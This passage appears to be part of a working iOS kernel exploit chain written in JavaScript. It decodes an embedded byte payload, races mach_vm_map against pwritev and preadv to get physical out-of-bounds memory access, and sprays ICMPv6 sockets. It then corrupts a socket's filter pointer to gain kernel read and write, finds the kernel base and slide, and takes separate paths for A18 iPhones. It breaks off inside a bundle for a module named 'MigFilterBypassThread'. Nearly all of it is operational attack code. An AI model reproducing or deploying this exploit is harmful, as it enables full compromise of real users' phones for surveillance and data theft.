10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 124, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 107, 114, 32, 33, 61, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 45, 93, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 32, 102, 97, 105, 108, 101, 100, 32, 33, 33, 33, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 58, 32, 34, 32, 43, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 58, 32, 34, 32, 43, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 120, 105, 116, 40, 48, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 125, 10, 10, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 59, 0]);
let free_thread_js = 0n;
if (free_thread_js == 0n) {
free_thread_js = free_thread_js_data;
}
free_thread_jsthread = js_thread_spawn(free_thread_js, free_thread_arg);
}
let default_file_content = calloc(1n, target_file_size);
memset_pattern8(default_file_content, get_bigint_addr(random_marker), target_file_size);
function create_target_file(path) {
let fd = fopen(path, get_cstring("w"));
let written = fwrite(default_file_content, 1n, target_file_size, fd);
fclose(fd);
}
function create_physically_contiguous_mapping(port, address, size) {
let dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks);
let cf_number = CFNumberCreate(kCFAllocatorDefault, 9n, get_bigint_addr(size));
res = CFDictionarySetValue(dict, kIOSurfaceAllocSize, cf_number);
let cfstring = create_cfstring(get_cstring("PurpleGfxMem"));
res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceMemoryRegion")), cfstring);
let surface = IOSurfaceCreate(dict);
CFRelease(dict);
if (surface == 0n) {
LOG("[-] Failed to create surface!!!");
exit(0n);
}
let physical_mapping_address = IOSurfaceGetBaseAddress(surface);
LOG("[+] physical_mapping_address: " + physical_mapping_address.hex());
let memory_object = new_bigint();
let kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(size), physical_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_make_memory_entry_64 failed!!!");
exit(0n);
}
let new_mapping_address = new_bigint();
kr = mach_vm_map(mach_task_self(), get_bigint_addr(new_mapping_address), size, 0n, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memory_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_vm_map failed!!!");
exit(0n);
}
CFRelease(surface);
uwrite64(port, memory_object);
uwrite64(address, new_mapping_address);
}
function initialize_physical_read_write(contiguous_mapping_size) {
pc_size = contiguous_mapping_size;
create_physically_contiguous_mapping(get_bigint_addr(pc_object), get_bigint_addr(pc_address), pc_size);
LOG("[+] pc_object: " + pc_object.hex());
LOG("[+] pc_address: " + pc_address.hex());
memset_pattern8(pc_address, get_bigint_addr(random_marker), pc_size);
free_target = pc_address;
free_target_size = pc_size;
uwrite64(free_target_sync_ptr, free_target);
uwrite64(free_target_size_sync_ptr, free_target_size);
uwrite64(free_thread_start_ptr, 1n);
uwrite64(go_sync_ptr, 1n);
}
let iov = calloc(1n, 0x10n);
let highiest_success_idx = 0n;
let success_read_count = 0n;
function physical_oob_read_mo(mo, mo_offset, size, offset, buffer) {
uwrite64(target_object_sync_ptr, mo);
uwrite64(target_object_offset_sync_ptr, mo_offset);
uwrite64(iov + 0x00n, pc_address + 0x3f00n);
uwrite64(iov + 0x08n, offset + size);
uwrite64(buffer, random_marker);
uwrite64(pc_address + 0x3f00n + offset, random_marker);
let read_race_succeeded = false;
let w = 0n;
for (let try_idx = 0n; try_idx < highiest_success_idx + 100n; try_idx++) {
uwrite64(race_sync_ptr, 1n);
w = pwritev(read_fd, iov, 1n, 0x3f00n);
cmp8_wait_for_change(race_sync_ptr, 1);
kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_vm_map failed!!!");
exit(0n);
}
if (w == 0xFFFFFFFFFFFFFFFFn) {
let r = pread(read_fd, buffer, size, 0x3f00n + offset);
let marker = uread64(buffer);
if (marker != random_marker) {
read_race_succeeded = true;
success_read_count += 0x1n;
if (try_idx > highiest_success_idx) {
highiest_success_idx = try_idx;
}
break;
} else {
usleep(1n);
}
}
if (try_idx == 500n) {
break;
}
}
uwrite64(target_object_sync_ptr, 0n);
if (read_race_succeeded == false) {
return 1n;
}
return KERN_SUCCESS;
}
function physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer) {
while (true) {
kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
if (kr == KERN_SUCCESS) {
break;
}
}
}
function physical_oob_write_mo(mo, mo_offset, size, offset, buffer) {
uwrite64(target_object_sync_ptr, mo);
uwrite64(target_object_offset_sync_ptr, mo_offset);
uwrite64(iov + 0x00n, pc_address + 0x3f00n);
uwrite64(iov + 0x08n, offset + size);
pwrite(write_fd, buffer, size, 0x3f00n + offset);
for (let try_idx = 0n; try_idx < 20n; try_idx++) {
uwrite64(race_sync_ptr, 1n);
preadv(write_fd, iov, 1n, 0x3f00n);
cmp8_wait_for_change(race_sync_ptr, 1);
kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_vm_map failed!!!");
exit(0n);
}
}
uwrite64(target_object_sync_ptr, 0n);
return;
}
let control_socket = 0n;
let rw_socket = 0n;
let control_socket_pcb = 0n;
let rw_socket_pcb = 0n;
let EARLY_KRW_LENGTH = 0x20n;
let control_data = calloc(1n, EARLY_KRW_LENGTH);
function set_target_kaddr(where) {
memset(control_data, 0n, EARLY_KRW_LENGTH);
uwrite64(control_data, where);
let res = setsockopt(control_socket, IPPROTO_ICMPV6, ICMP6_FILTER, control_data, EARLY_KRW_LENGTH);
if (res != 0n) {
LOG("[-] setsockopt failed!!!");
exit(0n);
}
}
function early_kread(where, read_buf, size) {
if (size > EARLY_KRW_LENGTH) {
LOG("[!] error: (size > EARLY_KRW_LENGTH)");
exit(0n);
}
set_target_kaddr(where);
let read_data_length = BigInt(size);
res = getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, get_bigint_addr(read_data_length));
if (res != 0n) {
LOG("[-] getsockopt failed!!!");
exit(0n);
}
}
function early_kread64(where) {
let value = new_bigint();
let res = early_kread(where, get_bigint_addr(value), 0x8n);
return update_bigint(value);
}
function early_kwrite32bytes(where, write_buf) {
set_target_kaddr(where);
let res = setsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, write_buf, EARLY_KRW_LENGTH);
if (res != 0n) {
LOG("[-] setsockopt failed!!!");
exit(0n);
}
}
let early_kwrite64_write_buf = calloc(1n, EARLY_KRW_LENGTH);
function early_kwrite64(where, what) {
early_kread(where, early_kwrite64_write_buf, EARLY_KRW_LENGTH);
uwrite64(early_kwrite64_write_buf, what);
early_kwrite32bytes(where, early_kwrite64_write_buf);
}
function kread_length(address, buffer, size) {
let remaining = BigInt(size);
let read_offset = 0n;
let read_size = 0n;
while (remaining != 0n) {
if (remaining >= EARLY_KRW_LENGTH) {
read_size = EARLY_KRW_LENGTH;
} else {
read_size = remaining % EARLY_KRW_LENGTH;
}
early_kread(address + read_offset, buffer + read_offset, read_size);
remaining -= read_size;
read_offset += read_size;
}
}
let kwrite_length_buffer = calloc(1n, EARLY_KRW_LENGTH);
function kwrite_length(dst, src, size) {
let remaining = BigInt(size);
let write_offset = 0n;
let write_size = 0n;
while (remaining != 0n) {
if (remaining >= EARLY_KRW_LENGTH) {
write_size = EARLY_KRW_LENGTH;
} else {
write_size = remaining % EARLY_KRW_LENGTH;
}
let kwrite_dst_addr = dst + write_offset;
let kwrite_src_addr = src + write_offset;
if (write_size != EARLY_KRW_LENGTH) {
kread_length(kwrite_dst_addr, kwrite_length_buffer, EARLY_KRW_LENGTH);
}
memcpy(kwrite_length_buffer, kwrite_src_addr, write_size);
early_kwrite32bytes(kwrite_dst_addr, kwrite_length_buffer);
remaining -= write_size;
write_offset += write_size;
}
}
function kwrite_zone_element(dst, src, len) {
let CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n;
if (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {
LOG("kwrite_zone_element supports only zone element size >= 0x20");
return false;
}
let write_size = 0n;
let write_offset = 0n;
let remaining = BigInt(len);
while (remaining != 0n) {
write_size = remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE ? CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE;
let kwrite_dst_addr = dst + write_offset;
let kwrite_src_addr = src + write_offset;
if (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {
let adjust = CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size;
kwrite_dst_addr -= adjust;
kwrite_src_addr -= adjust;
}
kwrite_length(kwrite_dst_addr, kwrite_src_addr, CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE);
remaining -= write_size;
write_offset += write_size;
}
return true;
}
function kdump(where, size, msg = "") {
LOG(`[+] ----------- ${msg} ----------`);
for (let i = 0n; i < size; i += 0x10n) {
LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
}
}
function krw_sockets_leak_forever() {
let offset_pcb_socket = 0x40n;
let offset_socket_so_count = 0x254n;
let control_socket_addr = early_kread64(control_socket_pcb + offset_pcb_socket);
let rw_socket_addr = early_kread64(rw_socket_pcb + offset_pcb_socket);
if (control_socket_addr == 0n || rw_socket_addr == 0n) {
LOG("[-] Couldn't find control_socket_addr || rw_socket_addr");
exit(0n);
}
let control_socket_so_count = early_kread64(control_socket_addr + offset_socket_so_count);
let rw_socket_so_count = early_kread64(rw_socket_addr + offset_socket_so_count);
early_kwrite64(control_socket_addr + offset_socket_so_count, control_socket_so_count + 0x0000100100001001n);
early_kwrite64(rw_socket_addr + offset_socket_so_count, rw_socket_so_count + 0x0000100100001001n);
let icmp6filt_offset = 0x148n;
early_kwrite64(rw_socket_pcb + icmp6filt_offset + 0x8n, 0n);
}
let socket_ports = [];
let socket_pcb_ids = [];
let socket_ports_count = 0n;
let getsockopt_read_length = 32n;
let getsockopt_read_data = calloc(1n, getsockopt_read_length);
let socket_info = calloc(1n, 0x400n);
function spray_socket(socket_ports, socket_pcb_ids) {
let fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
if (fd == 0xFFFFFFFFFFFFFFFFn) {
LOG("[-] socket create failed!!!");
return fd;
}
let output_socket_port = new_bigint();
fileport_makeport(fd, get_bigint_addr(output_socket_port));
close(fd);
let r = syscall(336n, 6n, getpid(), 3n, output_socket_port, socket_info, 0x400n);
let inp_gencnt = uread64(socket_info + 0x110n);
socket_ports.push(output_socket_port);
socket_pcb_ids.push(inp_gencnt);
return output_socket_port;
}
function sockets_release() {
for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) {
let port = socket_ports.pop();
mach_port_deallocate(mach_task_self(), port);
socket_pcb_ids.pop();
}
socket_ports_count = 0n;
}
function create_surface_with_address(address, size) {
let properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks);
let address_ptr = new_uint64_t(address);
let address_number = CFNumberCreate(kCFAllocatorDefault, 11n, address_ptr);
CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAddress")), address_number);
let size_ptr = new_uint64_t(size);
let size_number = CFNumberCreate(kCFAllocatorDefault, 9n, size_ptr);
CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAllocSize")), size_number);
let surface = IOSurfaceCreate(properties);
IOSurfacePrefetchPages(surface);
free(address_ptr);
free(size_ptr);
CFRelease(address_number);
CFRelease(size_number);
CFRelease(properties);
return surface;
}
let mlock_dict = {};
function surface_mlock(address, size) {
let surf = create_surface_with_address(address, size);
mlock_dict[address] = surf;
}
function surface_munlock(address, size) {
if (mlock_dict[address] != undefined) {
CFRelease(mlock_dict[address]);
}
mlock_dict[address] = undefined;
}
function find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, do_read = true) {
if (do_read == true) {
physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
}
let search_start_idx = 0n;
let target_found = false;
let pcb_start_offset = 0n;
let icmp6filt_offset = 0x148n;
let found = 0n;
do {
found = memmem(read_buffer + search_start_idx, oob_size - search_start_idx, executable_name, strlen(executable_name));
if (found != 0n) {
pcb_start_offset = found - read_buffer & 0xFFFFFFFFFFFFFC00n;
if (uread64(read_buffer + pcb_start_offset + icmp6filt_offset + 0x8n) == 0x0000ffffffffffffn) {
target_found = true;
break;
}
}
search_start_idx += 0x400n;
} while (found != 0n && search_start_idx < oob_size);
if (target_found == true) {
LOG("[+] pcb_start_offset: " + pcb_start_offset.hex());
let target_inp_gencnt = uread64(read_buffer + pcb_start_offset + 0x78n);
LOG("[+] target_inp_gencnt: " + target_inp_gencnt.hex());
if (target_inp_gencnt == socket_pcb_ids[socket_ports_count - 1n]) {
LOG(`[-] Found last PCB`);
return -1n;
}
let is_our_pcb = false;
let control_socket_idx = undefined;
for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) {
if (socket_pcb_ids[sock_idx] == target_inp_gencnt) {
is_our_pcb = true;
control_socket_idx = sock_idx;
break;
}
}
if (is_our_pcb == false) {
LOG(`[-] Found freed PCB Page!`);
return -1n;
}
if (target_inp_gencnt_list.includes(target_inp_gencnt)) {
LOG(`[-] Found old PCB Page!!!!`);
return -1n;
} else {
target_inp_gencnt_list.push(target_inp_gencnt);
}
let inp_list_next_pointer = uread64(read_buffer + pcb_start_offset + 0x28n) - 0x20n;
let icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset);
LOG("[+] inp_list_next_pointer: " + inp_list_next_pointer.hex());
LOG("[+] icmp6filter: " + icmp6filter.hex());
rw_socket_pcb = BigInt(inp_list_next_pointer);
memcpy(write_buffer, read_buffer, oob_size);
uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset, inp_list_next_pointer + icmp6filt_offset);
uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset + 0x8n, 0n);
LOG("[+] Corrupting icmp6filter pointer...");
while (true) {
physical_oob_write_mo(memory_object, seeking_offset, oob_size, oob_offset, write_buffer);
physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
let new_icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset);
if (new_icmp6filter == inp_list_next_pointer + icmp6filt_offset) {
LOG("[+] target corrupted: " + uread64(read_buffer + pcb_start_offset + icmp6filt_offset).hex());
break;
}
}
let sock = fileport_makefd(socket_ports[control_socket_idx]);
let res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockopt_read_data, get_bigint_addr(getsockopt_read_length));
if (res != 0n) {
LOG("[-] getsockopt failed!!!");
exit(0n);
}
let marker = uread64(getsockopt_read_data);
if (marker != 0xffffffffffffffffn) {
LOG("[+] Found control_socket at idx: " + control_socket_idx.hex());
control_socket = sock;
rw_socket = fileport_makefd(socket_ports[control_socket_idx + 0x1n]);
return KERN_SUCCESS;
} else {
LOG("[-] Failed to corrupt control_socket at idx: " + control_socket_idx.hex());
}
}
return -1n;
}
let kernel_base = 0n;
let kernel_slide = 0n;
let is_a18_devices = false;
function pe_v1() {
let n_of_total_search_mapping_pages = 0x1000n * 0x10n;
if (is_a18_devices) {
n_of_total_search_mapping_pages = 0x10n * 0x10n;
}
let search_mapping_size = 0x2000n * PAGE_SIZE;
if (is_a18_devices) {
search_mapping_size = 0x10n * PAGE_SIZE;
}
let total_search_mapping_size = n_of_total_search_mapping_pages * PAGE_SIZE;
let n_of_search_mappings = total_search_mapping_size / search_mapping_size;
let read_buffer = calloc(1n, oob_size);
let write_buffer = calloc(1n, oob_size);
initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE);
let wired_mapping = new_bigint();
let wired_mapping_size = 1024n * 1024n * 1024n * 3n;
if (is_a18_devices) {
kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_mapping), wired_mapping_size, VM_FLAGS_ANYWHERE);
LOG(`[+] wired_mapping: ${wired_mapping.hex()}`);
}
let target_inp_gencnt_list = [];
while (true) {
if (is_a18_devices) {
surface_mlock(wired_mapping, wired_mapping_size);
for (let s = 0n; s < wired_mapping_size / 0x4000n; s++) {
uwrite64(wired_mapping + s * 0x4000n, 0n);
}
}
let search_mappings = [];
for (let s = 0n; s < n_of_search_mappings; s++) {
let search_mapping_address = new_bigint();
kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_vm_allocate failed!!!");
exit(0n);
}
for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) {
uwrite64(search_mapping_address + k, random_marker);
}
search_mappings.push(search_mapping_address);
}
socket_ports = [];
socket_pcb_ids = [];
socket_ports_count = 0n;
const OPEN_MAX = 10240n;
let maxfiles = 3n * OPEN_MAX;
let leeway = 4096n * 2n;
for (let socket_count = 0n; socket_count < maxfiles - leeway; socket_count++) {
let port = spray_socket(socket_ports, socket_pcb_ids);
if (port == 0xFFFFFFFFFFFFFFFFn) {
LOG("[-] Failed to spray sockets: " + socket_ports_count.hex());
break;
} else {
socket_ports_count++;
}
}
let start_pcb_id = socket_pcb_ids[0];
let end_pcb_id = socket_pcb_ids[socket_ports_count - 1n];
LOG(`[i] socket_ports_count: ${socket_ports_count.hex()}`);
LOG(`[i] start_pcb_id: ${start_pcb_id.hex()}`);
LOG(`[i] end_pcb_id: ${end_pcb_id.hex()}`);
let success = false;
for (let s = 0n; s < n_of_search_mappings; s++) {
let search_mapping_address = search_mappings[s];
LOG("[i] looking in search mapping: " + s);
let memory_object = new_bigint();
let memory_object_size = BigInt(search_mapping_size);
kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n);
if (kr != 0n) {
LOG("[-] mach_make_memory_entry_64 failed!!!");
exit(0n);
}
surface_mlock(search_mapping_address, search_mapping_size);
let seeking_offset = 0n;
while (seeking_offset < search_mapping_size) {
kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
if (kr == KERN_SUCCESS) {
if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) {
success = true;
break;
}
}
seeking_offset += PAGE_SIZE;
}
kr = mach_port_deallocate(mach_task_self(), memory_object);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_port_deallocate failed!!!");
exit(0n);
}
if (success == true) {
break;
}
}
sockets_release();
for (let s = 0n; s < n_of_search_mappings; s++) {
let search_mapping_address = search_mappings.pop();
kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size);
}
if (is_a18_devices) {
surface_munlock(wired_mapping, wired_mapping_size);
}
if (success == true) {
break;
}
}
}
function pe_v2() {
let read_buffer = calloc(1n, oob_size);
let write_buffer = calloc(1n, oob_size);
initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE);
let getsockopt_read_length = 32n;
let getsockopt_read_data = calloc(1n, getsockopt_read_length);
let wired_mapping_entry_size = PAGE_SIZE;
let wired_mapping_entries_total_size = 1024n * 1024n * 1024n * 2n;
let n_of_wired_mapping_entries = wired_mapping_entries_total_size / wired_mapping_entry_size;
let wired_mapping_entries_addresses = [];
LOG("[i] Allocating memory");
let kr = KERN_SUCCESS;
let wired_address = 0n;
for (let i = 0n; i < n_of_wired_mapping_entries; i++) {
if (i == 0n) {
wired_address = new_bigint();
do {
kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_ANYWHERE);
} while (kr != KERN_SUCCESS);
} else {
wired_address = BigInt(wired_mapping_entries_addresses.slice(-1));
do {
wired_address += wired_mapping_entry_size;
kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_FIXED);
} while (kr != KERN_SUCCESS);
}
wired_mapping_entries_addresses.push(wired_address);
surface_mlock(wired_address, wired_mapping_entry_size);
uwrite64(wired_address, wired_page_marker);
uwrite64(wired_address + 0x8n, wired_address);
}
let target_inp_gencnt_list = [];
LOG("[i] Allocating memory done");
while (true) {
let search_mapping_size = 0x800n * PAGE_SIZE;
let search_mapping_address = new_bigint();
kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_vm_allocate failed!!!");
exit(0n);
}
for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) {
uwrite64(search_mapping_address + k, random_marker);
}
surface_mlock(search_mapping_address, search_mapping_size);
let memory_object = new_bigint();
let memory_object_size = BigInt(search_mapping_size);
kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n);
if (kr != 0n) {
LOG("[-] mach_make_memory_entry_64 failed!!!");
exit(0n);
}
socket_ports = [];
socket_pcb_ids = [];
socket_ports_count = 0n;
let max_sockets_count = 0x5800n;
let split_count = 8n;
let wired_pages = [];
let success = false;
let seeking_offset = 0n;
while (seeking_offset < search_mapping_size) {
kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
if (kr != KERN_SUCCESS) {
seeking_offset += PAGE_SIZE;
continue;
}
if (uread64(read_buffer) == wired_page_marker) {
let wired_page = uread64(read_buffer + 0x8n);
LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found wired_page: ${wired_page.hex()}`);
if (wired_pages.indexOf(wired_page) == -1) {
wired_pages.push(wired_page);
let idx = wired_mapping_entries_addresses.indexOf(wired_page);
wired_mapping_entries_addresses.splice(idx, 1);
uwrite64(wired_page, 0n);
uwrite64(wired_page + 0x8n, 0n);
} else {
LOG(`[-] Found old wired page!!!!`);
seeking_offset += PAGE_SIZE;
continue;
}
kr = mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size);
if (kr != KERN_SUCCESS) {
LOG(`[-] Failed to deallocate wired page!!!!`);
}
for (let socket_count = 0n; socket_count < max_sockets_count / split_count; socket_count++) {
let port = spray_socket(socket_ports, socket_pcb_ids);
if (port == 0xFFFFFFFFFFFFFFFFn) {
LOG("[-] Failed to spray sockets: " + socket_ports_count.hex());
break;
} else {
socket_ports_count++;
}
}
if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, true) == KERN_SUCCESS) {
LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Reallocated PCB page`);
success = true;
break;
} else {
if (socket_ports_count >= max_sockets_count) {
sockets_release();
LOG("[+] waiting for zone trimming...");
sleep(20n);
}
seeking_offset = 0n;
}
} else if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) {
LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found PCB page`);
success = true;
break;
} else {
seeking_offset += PAGE_SIZE;
}
}
kr = mach_port_deallocate(mach_task_self(), memory_object);
if (kr != KERN_SUCCESS) {
LOG("[-] mach_port_deallocate failed!!!");
exit(0n);
}
sockets_release();
kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size);
if (success == true) {
break;
}
}
for (let i = 0n; i < BigInt(wired_mapping_entries_addresses.length); i++) {
let wired_page = wired_mapping_entries_addresses[i];
mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size);
}
}
function pe() {
let device_machine = get_device_machine();
if (strstr(device_machine, get_cstring("iPhone17,")) != 0n) {
LOG("[+] Running on A18 Devices");
is_a18_devices = true;
sleep(8n);
pe_init();
pe_v2();
} else {
LOG("[+] Running on non-A18 Devices");
pe_init();
pe_v1();
}
LOG(`[+] highiest_success_idx: ${highiest_success_idx}`);
LOG(`[+] success_read_count: ${success_read_count}`);
uwrite64(go_sync_ptr, 0n);
uwrite64(race_sync_ptr, 1n);
js_thread_join(free_thread_jsthread);
close(write_fd);
close(read_fd);
control_socket_pcb = early_kread64(rw_socket_pcb + 0x20n);
let pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38n);
let ipi_zone = early_kread64(pcbinfo_pointer + 0x68n);
let zv_name = early_kread64(ipi_zone + 0x10n);
kernel_base = zv_name & 0xFFFFFFFFFFFFC000n;
while (true) {
if (early_kread64(kernel_base) == 0x100000cfeedfacfn) {
if (early_kread64(kernel_base + 0x8n) == 0xc00000002n) {
break;
}
}
kernel_base -= PAGE_SIZE;
}
kernel_slide = kernel_base - 0xfffffff007004000n;
krw_sockets_leak_forever();
}
mpd_js_thread_spawn = js_thread_spawn;
mpd_js_thread_join = js_thread_join;
mpd_pe = pe;
mpd_kread64 = early_kread64;
mpd_kwrite64 = early_kwrite64;
mpd_kwrite_length = kwrite_length;
mpd_kread_length = kread_length;
mpd_kwrite_zone_element = kwrite_zone_element;
mpd_control_socket = function() { return control_socket; }
mpd_rw_socket = function() { return rw_socket; }
mpd_pacia_gadget = function() { return dyld_signPointer_gadget; }
mpd_kernel_slide = function (addr = 0n) {
return addr + kernel_slide;
};
mpd_kernel_base = function () {
return kernel_base;
};
pe();
LOG("[+] PE Post-Exploitation !!!");
LOG(`[+] kernel_base: ${mpd_kernel_base().hex()}`);
LOG(`[+] kernel_slide: ${mpd_kernel_slide().hex()}`);
let main = {};
main.chainData = {
"chosenOffsets": null
}
try {
/******/ (() => { // webpackBootstrap
/******/ "use strict";
/******/ var __webpack_modules__ = ({
/***/ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js":
/*!*****************************************************************************!*\
!*** ./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js ***!
\*****************************************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__)
/* harmony export */ });
